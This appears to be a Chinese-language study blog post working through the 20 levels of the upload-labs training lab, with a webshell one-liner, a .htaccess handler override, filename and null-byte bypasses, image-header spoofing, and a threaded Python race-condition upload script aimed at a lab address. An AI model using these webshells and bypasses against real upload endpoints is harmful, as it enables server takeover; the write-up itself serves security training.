0%

文件上传学习

最近开始进行正式的安全培训了,按照大佬的学习进度安排,今天先学习文件上传upload-labs。

pass-01

最简单的情况,客户端检查文件后缀,后端无任何过滤,直接随便提交一个png文件,burp抓包修改文件名为1.php,文件内容为<?php eval($_POST['123']); ?>即可拿到shell.

pass-02

这回是后端检查文件类型,但是没有过滤文件后缀,仍然使用上一题的payload拿到shell。

pass-03

查看源码发现过滤了.php .jsp .asp .aspx 上一题的payload无法使用了,这里通过特殊可解析文件后缀名phtml绕过即可。提交文件名为3.phtml的文件,文件内容同上,即可拿shell。

pass-04

这次phtml也被过滤了,这里考虑通过上传.htaccess文件,使得服务器可以解析自定义后缀的文件为php可执行文件,达到getshell的目的。

首先上传文件.htaccess,文件内容为

1
2
3
<FilesMatch "aaa">
SetHandler application/x-httpd-php
</FilesMatch>

这样.aaa文件将会被解析成php可执行文件。此时我们上传4.aaa文件,文件内容<?php eval($_POST['123']); ?>,即可getshell。

pass-05

查看源码发现没有将文件名转换为小写的操作了,故大小写绕过,上传名为1.phTml的文件,文件内容同上,即可getshell。

pass-06

由于Windows系统的特性,文件名最后的空格,点号在存储的时候会被删去,查看源码发现没有过滤空格的这种情况,故通过空格绕过过滤。上传文件名为”1.phtml “的文件,文件内容同上,即可getshell。

pass-07

同理,使用文件名后添加点号.绕过过滤,上传名为”1.phtml.”的文件,文件内容同上,即可gets hell。

pass-08

通过::$DATA绕过。原理:Windows文件流特性。

在NTFS文件系统下,每个文件都可以存在多个数据流,也就是说,除了主文件流之外,还可以有很多非主文件流寄宿在主文件流中。虽然我们无法看到数据流文件,但是它是真实存在于我们系统之中的。

格式如下:

<filename>:<stream name>:<stream type>

例如该payload,1.php:jpg,流类型以$开头,默认流类型为data,故该payload的完整形式为1.php:jpg:$data。这时查看上传目录发现多了一个1.php文件。

文件内容在数据流文件中,我们当初上传的就是一个文件流文件,之所以会顺带生成1.php,是因为它没有找到自己的宿主文件,所以才创建了一个。

故构造如下文件名:8.php::$data,文件内容同上,即可getshell。

pass-09

查看源码发现多了首尾去空操作,并且是先删除了文件名最后的点再首尾去空。这时利用逻辑漏洞绕过过滤。构造文件名:9.php. .(上传文件名后加点+空格+点),文件内容同上,即可getshell。

pass-10

查看源码发现这次是进行特定字符替换,将黑名单中的字符串替换成空。这里通过双写php绕过。上传文件名为10.pphphp的文件,文件内容同上,即可getshell。

pass-11

查看源码发现这次是白名单过滤。抓包发现多了一个save_path参数。再观察文件上传后的路径构造方式,发现每次都会上传到save_path目录下的一个随机文件名上。由于只能上传jpg,png,gif文件,故没法再通过文件名绕过了。这里可以考虑%00截断。

payload:../upload/11.php%00

同时上传1.jpg文件,文件内容,随后访问11.php,发现可以getshell。

pass-12

题目内容几乎和pass-11一样,只是upload路径改成了post方式传入,这里不能再通过%00,因为get方式传入%00会被web服务器进行解码成NULL,而post方式%00不会被解码,需要手动传入0x00。故通过修改二进制码来完成。在save_path栏输入”../upload/12.php “,然后进入hex部分,对应到刚刚输入的内容最后一个空格,为20,将他修改为00,随后上传一个名为12.jpg的文件,文件内容<?php eval($_POST['123']); ?>,即可getshell。

pass-13

查看源码发现是检查文件头,这里通过文件头部加入GIF89a绕过。上传名为13.php的文件,文件内容

1
2
3
GIF89a
<?php eval($_POST['123']);
?>

即可绕过检查,成功getshell。

pass-14

查看源码发现使用getimagesize函数判断文件类型,同理检查文件头,故绕过方法同上。

不过有一点需要注意,pass13和pass14两个题目上传的一句话其实是无法解析的,除非有文件包含问题或者是解析漏洞,但这里题目要求上传图片马,所以这样操作即可。

pass-15

查看源码发现使用exif_imagetype函数检查图像类型,实际上是读取图像的第一个字节并检查其签名。同理可以通过文件头GIF89a绕过。方法同上。

pass-16

查看源码发现这次进行了后缀名判断,content-type判断以及通过imagecreatefromgif(imagecreatefrompng/imagecreatefromjpg)等函数判断是否为gif(png/jpg)图片,最后进行二次渲染。这里gif和png绕过方法不同,我们先将一句话插入到gif的末尾,上传,再二进制格式打开上传的图片,发现我们插入的一句话消失了,说明这里不能将其插入在末尾。那么怎么插入才不会被删除呢?我们观察二次渲染前后没有改动的内容部分,在这里面插入我们的一句话,就可以绕过二次渲染了。png文件和jpg文件的修改方式不同(png文件插入后还需修改循环冗余码,jpg文件暂时不知道)

pass-17

查看源码,发现文件上传后会通过rename修改名称,然后unlink删除,这里可以通过条件竞争,不断上传我们的文件,在删除前访问webshell。

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env python
# coding:utf-8

import hackhttp
from multiprocessing.dummy import Pool as ThreadPool


def upload(lists):
hh = hackhttp.hackhttp()
raw = """POST /upload/Pass-17/index.php HTTP/1.1
Host: 192.168.43.170
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.43.170/upload-labs/Pass-17/index.php
Cookie: pass=17
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------6696274297634
Content-Length: 351

-----------------------------6696274297634
Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php"
Content-Type: application/octet-stream

<?php eval($_POST['123']); ?>
-----------------------------6696274297634
Content-Disposition: form-data; name="submit"

上传
-----------------------------6696274297634--
"""
code, head, html, redirect, log = hh.http('http://192.168.43.170/upload/Pass-17/index.php', raw=raw)
print(str(code) + "\r")


pool = ThreadPool(20)
pool.map(upload, range(10000))
pool.close()
pool.join()

pass-18

查看源码发现代码进行了校验后缀名、移动随后重命名的操作,这里依然通过条件竞争,无限高频上传文件,导致来不及重命名,从而成功访问webshell。

上传文件名为18.php.7z的文件,文件内容最下方为一句话木马,<?php fputs(fopen('18.php','w'),'<?php @eval($_POST["x"])?>'); ?>,这样只要文件被成功解析成PHP,就会生成18.php木马文件。

随后使用burp的intruder模块无限重放数据包,随后疯狂访问http://127.0.0.1/upload-labs/upload/18.php.7z(或者使用python脚本),直到出现内容,说明竞争成功。

pass-19

move_uploaded_file() %00截断,查看源码发现move_uploaded_file()函数中的img_path是由post参数save_name控制的,因此可以在save_name利用%00截断绕过。

pass-20

数组绕过。查看源码发现文件名$file_name通过了reset($file).'.'.$file[count($file)-1]进行处理。且如果上传数组则会跳过$file=explode('.', strtolower($file));

最终的文件名后缀取的是$file[count($file) - 1],因此我们可以让$file为数组。

我们上传文件名为20.php的文件,文件内容为一句话木马,随后save_name[0]设置为”20.php/“,save_name[2]设置为jpg,即可成功上传webshell。

文件上传思维导图